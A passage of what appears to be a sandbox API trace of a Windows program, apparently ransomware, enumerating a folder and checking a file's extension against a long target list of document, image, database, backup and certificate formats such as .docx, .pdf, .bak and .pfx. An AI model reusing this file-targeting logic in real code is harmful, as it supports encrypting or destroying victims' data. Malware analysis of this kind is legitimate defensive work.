lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50700 [0094.312] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.312] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0094.312] lstrlenW (lpString="eula.rtf") returned 8 [0094.312] lstrlenW (lpString=".1cd") returned 4 [0094.312] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0094.312] lstrlenW (lpString=".3ds") returned 4 [0094.312] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0094.312] lstrlenW (lpString=".3fr") returned 4 [0094.312] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0094.312] lstrlenW (lpString=".3g2") returned 4 [0094.312] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0094.312] lstrlenW (lpString=".3gp") returned 4 [0094.312] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0094.312] lstrlenW (lpString=".7z") returned 3 [0094.312] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0094.312] lstrlenW (lpString=".accda") returned 6 [0094.312] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0094.312] lstrlenW (lpString=".accdb") returned 6 [0094.312] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0094.312] lstrlenW (lpString=".accdc") returned 6 [0094.312] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0094.312] lstrlenW (lpString=".accde") returned 6 [0094.312] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0094.312] lstrlenW (lpString=".accdt") returned 6 [0094.312] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0094.313] lstrlenW (lpString=".accdw") returned 6 [0094.313] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0094.313] lstrlenW (lpString=".adb") returned 4 [0094.313] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".adp") returned 4 [0094.313] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".ai") returned 3 [0094.313] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0094.313] lstrlenW (lpString=".ai3") returned 4 [0094.313] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".ai4") returned 4 [0094.313] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".ai5") returned 4 [0094.313] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".ai6") returned 4 [0094.313] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".ai7") returned 4 [0094.313] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".ai8") returned 4 [0094.313] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".anim") returned 5 [0094.313] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0094.313] lstrlenW (lpString=".arw") returned 4 [0094.313] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".as") returned 3 [0094.313] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0094.313] lstrlenW (lpString=".asa") returned 4 [0094.313] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0094.313] lstrlenW (lpString=".asc") returned 4 [0094.314] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".ascx") returned 5 [0094.314] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0094.314] lstrlenW (lpString=".asm") returned 4 [0094.314] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".asmx") returned 5 [0094.314] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0094.314] lstrlenW (lpString=".asp") returned 4 [0094.314] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".aspx") returned 5 [0094.314] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0094.314] lstrlenW (lpString=".asr") returned 4 [0094.314] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".asx") returned 4 [0094.314] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".avi") returned 4 [0094.314] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".avs") returned 4 [0094.314] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".backup") returned 7 [0094.314] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0094.314] lstrlenW (lpString=".bak") returned 4 [0094.314] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".bay") returned 4 [0094.314] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0094.314] lstrlenW (lpString=".bd") returned 3 [0094.314] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0094.314] lstrlenW (lpString=".bin") returned 4 [0094.314] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".bmp") returned 4 [0094.315] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".bz2") returned 4 [0094.315] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".c") returned 2 [0094.315] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0094.315] lstrlenW (lpString=".cdr") returned 4 [0094.315] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".cer") returned 4 [0094.315] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".cf") returned 3 [0094.315] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0094.315] lstrlenW (lpString=".cfc") returned 4 [0094.315] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".cfm") returned 4 [0094.315] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".cfml") returned 5 [0094.315] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0094.315] lstrlenW (lpString=".cfu") returned 4 [0094.315] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".chm") returned 4 [0094.315] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".cin") returned 4 [0094.315] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0094.315] lstrlenW (lpString=".class") returned 6 [0094.315] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0094.315] lstrlenW (lpString=".clx") returned 4 [0094.315] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".config") returned 7 [0094.316] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0094.316] lstrlenW (lpString=".cpp") returned 4 [0094.316] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".cr2") returned 4 [0094.316] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".crt") returned 4 [0094.316] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".crw") returned 4 [0094.316] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".cs") returned 3 [0094.316] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0094.316] lstrlenW (lpString=".css") returned 4 [0094.316] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".csv") returned 4 [0094.316] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".cub") returned 4 [0094.316] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".dae") returned 4 [0094.316] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".dat") returned 4 [0094.316] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".db") returned 3 [0094.316] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0094.316] lstrlenW (lpString=".dbf") returned 4 [0094.316] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".dbx") returned 4 [0094.316] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0094.316] lstrlenW (lpString=".dc3") returned 4 [0094.317] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".dcm") returned 4 [0094.317] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".dcr") returned 4 [0094.317] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".der") returned 4 [0094.317] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".dib") returned 4 [0094.317] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".dic") returned 4 [0094.317] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".dif") returned 4 [0094.317] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".divx") returned 5 [0094.317] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0094.317] lstrlenW (lpString=".djvu") returned 5 [0094.317] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0094.317] lstrlenW (lpString=".dng") returned 4 [0094.317] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".doc") returned 4 [0094.317] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0094.317] lstrlenW (lpString=".docm") returned 5 [0094.317] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0094.317] lstrlenW (lpString=".docx") returned 5 [0094.317] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0094.317] lstrlenW (lpString=".dot") returned 4 [0094.317] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dotm") returned 5 [0094.318] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0094.318] lstrlenW (lpString=".dotx") returned 5 [0094.318] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0094.318] lstrlenW (lpString=".dpx") returned 4 [0094.318] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dqy") returned 4 [0094.318] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dsn") returned 4 [0094.318] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dt") returned 3 [0094.318] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0094.318] lstrlenW (lpString=".dtd") returned 4 [0094.318] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dwg") returned 4 [0094.318] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dwt") returned 4 [0094.318] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".dx") returned 3 [0094.318] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0094.318] lstrlenW (lpString=".dxf") returned 4 [0094.318] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".edml") returned 5 [0094.318] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0094.318] lstrlenW (lpString=".efd") returned 4 [0094.318] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".elf") returned 4 [0094.318] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0094.318] lstrlenW (lpString=".emf") returned 4 [0094.319] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".emz") returned 4 [0094.319] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".epf") returned 4 [0094.319] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".eps") returned 4 [0094.319] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".epsf") returned 5 [0094.319] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0094.319] lstrlenW (lpString=".epsp") returned 5 [0094.319] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0094.319] lstrlenW (lpString=".erf") returned 4 [0094.319] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".exr") returned 4 [0094.319] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".f4v") returned 4 [0094.319] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".fido") returned 5 [0094.319] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0094.319] lstrlenW (lpString=".flm") returned 4 [0094.319] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".flv") returned 4 [0094.319] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".frm") returned 4 [0094.319] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0094.319] lstrlenW (lpString=".fxg") returned 4 [0094.320] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".geo") returned 4 [0094.320] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".gif") returned 4 [0094.320] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".grs") returned 4 [0094.320] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".gz") returned 3 [0094.320] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0094.320] lstrlenW (lpString=".h") returned 2 [0094.320] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0094.320] lstrlenW (lpString=".hdr") returned 4 [0094.320] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".hpp") returned 4 [0094.320] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".hta") returned 4 [0094.320] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".htc") returned 4 [0094.320] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".htm") returned 4 [0094.320] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".html") returned 5 [0094.320] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0094.320] lstrlenW (lpString=".icb") returned 4 [0094.320] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".ics") returned 4 [0094.320] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0094.320] lstrlenW (lpString=".iff") returned 4 [0094.320] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".inc") returned 4 [0094.321] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".indd") returned 5 [0094.321] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0094.321] lstrlenW (lpString=".ini") returned 4 [0094.321] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".iqy") returned 4 [0094.321] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".j2c") returned 4 [0094.321] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".j2k") returned 4 [0094.321] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".java") returned 5 [0094.321] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0094.321] lstrlenW (lpString=".jp2") returned 4 [0094.321] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".jpc") returned 4 [0094.321] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".jpe") returned 4 [0094.321] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".jpeg") returned 5 [0094.321] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0094.321] lstrlenW (lpString=".jpf") returned 4 [0094.321] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".jpg") returned 4 [0094.321] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".jpx") returned 4 [0094.321] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0094.321] lstrlenW (lpString=".js") returned 3 [0094.322] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0094.322] lstrlenW (lpString=".jsf") returned 4 [0094.322] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".json") returned 5 [0094.322] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0094.322] lstrlenW (lpString=".jsp") returned 4 [0094.322] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".kdc") returned 4 [0094.322] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".kmz") returned 4 [0094.322] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".kwm") returned 4 [0094.322] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".lasso") returned 6 [0094.322] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0094.322] lstrlenW (lpString=".lbi") returned 4 [0094.322] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".lgf") returned 4 [0094.322] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".lgp") returned 4 [0094.322] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".log") returned 4 [0094.322] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".m1v") returned 4 [0094.322] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".m4a") returned 4 [0094.322] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0094.322] lstrlenW (lpString=".m4v") returned 4 [0094.323] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".max") returned 4 [0094.323] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".md") returned 3 [0094.323] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0094.323] lstrlenW (lpString=".mda") returned 4 [0094.323] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mdb") returned 4 [0094.323] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mde") returned 4 [0094.323] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mdf") returned 4 [0094.323] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mdw") returned 4 [0094.323] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mef") returned 4 [0094.323] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mft") returned 4 [0094.323] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mfw") returned 4 [0094.323] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mht") returned 4 [0094.323] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0094.323] lstrlenW (lpString=".mhtml") returned 6 [0094.323] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0094.323] lstrlenW (lpString=".mka") returned 4 [0094.323] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mkidx") returned 6 [0094.324] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0094.324] lstrlenW (lpString=".mkv") returned 4 [0094.324] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mos") returned 4 [0094.324] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mov") returned 4 [0094.324] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mp3") returned 4 [0094.324] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mp4") returned 4 [0094.324] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mpeg") returned 5 [0094.324] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0094.324] lstrlenW (lpString=".mpg") returned 4 [0094.324] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mpv") returned 4 [0094.324] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mrw") returned 4 [0094.324] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".msg") returned 4 [0094.324] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0094.324] lstrlenW (lpString=".mxl") returned 4 [0094.325] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".myd") returned 4 [0094.325] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".myi") returned 4 [0094.325] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".nef") returned 4 [0094.325] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".nrw") returned 4 [0094.325] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".obj") returned 4 [0094.325] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".odb") returned 4 [0094.325] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".odc") returned 4 [0094.325] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".odm") returned 4 [0094.325] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".odp") returned 4 [0094.325] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".ods") returned 4 [0094.325] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".oft") returned 4 [0094.325] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".one") returned 4 [0094.325] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0094.325] lstrlenW (lpString=".onepkg") returned 7 [0094.325] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0094.325] lstrlenW (lpString=".onetoc2") returned 8 [0094.326] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0094.326] lstrlenW (lpString=".opt") returned 4 [0094.326] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".oqy") returned 4 [0094.326] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".orf") returned 4 [0094.326] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".p12") returned 4 [0094.326] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".p7b") returned 4 [0094.326] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".p7c") returned 4 [0094.326] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pam") returned 4 [0094.326] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pbm") returned 4 [0094.326] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pct") returned 4 [0094.326] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pcx") returned 4 [0094.326] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pdd") returned 4 [0094.326] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pdf") returned 4 [0094.326] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pdp") returned 4 [0094.326] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0094.326] lstrlenW (lpString=".pef") returned 4 [0094.326] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".pem") returned 4 [0094.327] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".pff") returned 4 [0094.327] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".pfm") returned 4 [0094.327] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".pfx") returned 4 [0094.327] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".pgm") returned 4 [0094.327] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".php") returned 4 [0094.327] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".php3") returned 5 [0094.327] lstrcmpiW (lpString1=".php3", 